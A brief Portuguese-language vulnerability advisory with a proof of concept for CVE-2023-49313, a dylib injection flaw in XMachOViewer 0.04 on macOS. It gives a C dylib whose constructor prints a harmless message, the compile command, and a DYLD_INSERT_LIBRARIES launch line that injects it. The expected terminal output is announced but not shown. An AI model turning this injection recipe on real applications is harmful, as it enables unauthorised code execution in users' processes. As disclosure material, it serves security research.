CVE-2023-49313

Uma vulnerabilidade de injeção de dylib no XMachOViewer 0.04 permite que atacantes comprometam a integridade. Ao explorar isso, código não autorizado pode ser injetado nos processos do produto, potencialmente levando a controle remoto e acesso não autorizado a dados sensíveis do usuário.

Versão portátil para macOS

• Primeiro vamos escrever a dylib

#include <syslog.h>
#include <stdio.h>

__attribute__((constructor))
static void poc(void)
{
    printf("Malicious Dylib Inserted");
}

• Compile gcc -dynamiclib -arch x86_64 -o poc.dylib poc.c

• E injete: DYLD_INSERT_LIBRARIES=poc.dylib /Applications/XMachOViewer.app/Contents/MacOS/XMachOViewer

Isso abrirá o aplicativo e executará a dylib. Após fechar o aplicativo, veremos no terminal:

• Você pode estudar e entender mais sobre o tópico em: https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries